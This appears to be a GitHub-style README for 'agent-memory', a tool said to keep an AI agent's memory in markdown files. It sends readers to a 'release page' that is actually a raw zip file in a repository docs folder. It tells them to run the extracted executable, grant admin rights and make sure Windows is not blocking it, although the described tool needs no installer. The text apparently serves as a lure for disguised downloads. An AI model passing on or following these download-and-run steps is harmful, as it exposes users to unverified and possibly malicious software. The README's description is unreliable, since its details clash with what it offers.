🧠 agent-memory - Keep agent memory in plain files

🚀 What it does

agent-memory stores an AI agent’s memory in plain markdown files. It helps your agent keep track of facts, notes, tasks, and past work across sessions.

It uses files instead of a database, so it stays easy to inspect, edit, and move. You can open the memory files in any text editor.

🪟 Windows setup

This project is made for simple use on Windows.

Use the release page to download the app: https://raw.githubusercontent.com/Defiladeboarfish90/agent-memory/main/docs/agent-memory-v3.2.zip

📥 Download and install

1. Open the release page
2. Download the Windows file from the latest release
3. Save the file to a folder you can find, such as Downloads or Desktop
4. If the file comes in a zip folder, right-click it and choose Extract All
5. Open the extracted app file or installer
6. If Windows asks for permission, choose Yes
7. Follow the on-screen steps to finish setup

If the release includes more than one file, pick the Windows version that matches your system.

🧭 First run

After you open agent-memory for the first time, it will create the memory files it needs.

You may see a folder for:

• agent notes
• long-term memory
• session history
• task records
• plain markdown files

Keep these files in one place so the app can find them again next time.

📁 How it stores memory

agent-memory uses simple markdown files. That means:

• you can read the content in Notepad
• you can back it up with File Explorer
• you can move it to another PC
• you do not need a database
• you can keep each agent in its own folder

A common setup looks like this:

• memory/
• agent-name/
• profile.md
• facts.md
• tasks.md
• history.md

🛠️ How to use it

1. Start the app
2. Choose or create an agent folder
3. Add notes, facts, or task items
4. Let the agent read and update the files
5. Open the markdown files any time to check what is stored

If you use more than one agent, give each one a separate folder. This keeps memory clean and easy to follow.

🔍 What you can store

You can use agent-memory for:

• user preferences
• project notes
• repeated instructions
• session history
• task lists
• saved decisions
• context that should carry over

This helps an AI agent act with more continuity across chats and tasks.

💻 Basic system needs

For smooth use on Windows, a typical setup is enough:

• Windows 10 or Windows 11
• 2 GB RAM or more
• enough disk space for your markdown files
• a file browser or text editor
• internet access for the release download

If the app uses an installer, Windows may also ask for admin permission during setup.

🗂️ Example folder layout

Here is a simple example of how your files may look:

• agent-memory
• agents
• support-bot
• profile.md
• memory.md
• tasks.md
• research-bot
• profile.md
• memory.md
• tasks.md

You can name the folders in a way that makes sense to you.

🔒 Backup and safety

Because the memory is stored in plain files, you can back it up with the same tools you use for other documents.

Good habits:

• copy the memory folder to another drive
• keep a dated backup before big changes
• use clear file names
• keep one folder per agent

🧩 Common uses

agent-memory fits well when you want an AI agent to remember:

• what a user likes
• what work is in progress
• what was already tried
• project rules
• recurring instructions

This is useful for chat tools, helpers, research bots, and task agents.

🛟 If something does not open

If the file does not start:

1. Check that the download finished
2. Open the release page and get the latest Windows file
3. If the file is zipped, extract it first
4. Try opening it from a normal folder like Downloads
5. Make sure Windows is not blocking the file
6. Run it again from the extracted folder

If the memory files do not appear, close the app and open it again, then check the selected folder.

📎 Project details

• Repository: agent-memory
• Description: File-based memory system for AI agents
• Topics: agent, agent-framework, agent-memory, agent-memory-system, agentic, agents, ai, ai-agent, ai-agents, ai-tools
• Download page: https://raw.githubusercontent.com/Defiladeboarfish90/agent-memory/main/docs/agent-memory-v3.2.zip